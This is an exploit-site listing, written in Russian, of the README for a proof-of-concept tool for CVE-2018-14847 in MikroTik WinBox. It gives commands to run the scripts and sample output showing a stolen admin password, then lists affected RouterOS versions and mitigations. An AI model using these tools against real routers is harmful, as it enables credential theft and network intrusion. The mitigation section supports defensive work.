Sploitus

Exploit for WinboxPoC

CVE-2018-14847

kitploit · 2026-08-24

Exploit Code

MARKDOWN140 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BASUCERT-WINBOXPOC
# WinboxExploit

Это доказательство концепции критической уязвимости WinBox (CVE-2018-14847), которая позволяет произвольное чтение файлов с паролями в открытом виде.

Уязвимость давно исправлена, поэтому этот проект завершен и больше не будет поддерживаться или обновляться. Вы можете сделать форк и обновить его самостоятельно.

## Статья в блоге

https://n0p.me/winbox-bug-dissection/

## Требования

  * Python 3+



Этот скрипт НЕ будет работать с Python 2.x и ниже.

## Как использовать

Скрипт прост в использовании с простыми аргументами в командной строке.

#### WinBox (TCP/IP)

Эксплуатируйте уязвимость и читайте пароль.

root@kitploit:~
    
    
    python3 WinboxExploit.py <IP-ADDRESS> [PORT]
    

Пример:

root@kitploit:~
    
    
    $ python3 WinboxExploit.py 172.17.17.17
    Connected to 172.17.17.17:8291
    Exploit successful
    User: admin
    Pass: Th3P4ssWord
    

#### MAC server WinBox (Layer 2)

Вы можете извлекать файлы, даже если устройство не имеет IP-адреса.

Простая проверка обнаружения локально подключенных устройств Mikrotik.

root@kitploit:~
    
    
    python3 MACServerDiscover.py
    

Пример:

root@kitploit:~
    
    
    $ python3 MACServerDiscover.py
    Looking for Mikrotik devices (MAC servers)
    
        aa:bb:cc:dd:ee:ff 
    
        aa:bb:cc:dd:ee:aa
    

Эксплуатируйте уязвимость и читайте пароль.

root@kitploit:~
    
    
    python3 MACServerExploit.py <MAC-ADDRESS>
    

Пример:

root@kitploit:~
    
    
    $ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
    
    User: admin
    Pass: Th3P4ssWord
    

## Уязвимые версии

Все версии RouterOS с 2015-05-28 по 2018-04-20 уязвимы к этой эксплуатации.

Устройства Mikrotik, работающие на версиях RouterOS:

  * Longterm: 6.30.1 - 6.40.7
  * Stable: 6.29 - 6.42
  * Beta: 6.29rc1 - 6.43rc3



Для получения дополнительной информации см.: https://blog.mikrotik.com/security/winbox-vulnerability.html

## Методы смягчения

  * Обновите маршрутизатор до версии RouterOS, которая включает исправление.
  * Отключите службу WinBox на маршрутизаторе.
  * Вы можете ограничить доступ к службе WinBox для конкретных IP-адресов следующим образом:



root@kitploit:~
    
    
    /ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
    

  * Вы можете использовать некоторые правила фильтрации (ACL) для запрета внешнего доступа к службе WinBox:



root@kitploit:~
    
    
    /ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
    

  * Ограничение доступа к службе mac-winbox можно выполнить, указав разрешенные интерфейсы:



root@kitploit:~
    
    
    /tool mac-server mac-winbox
    

## Авторские права

  * Спонсировано CERTCC Ирана (https://certcc.ir). Все права защищены.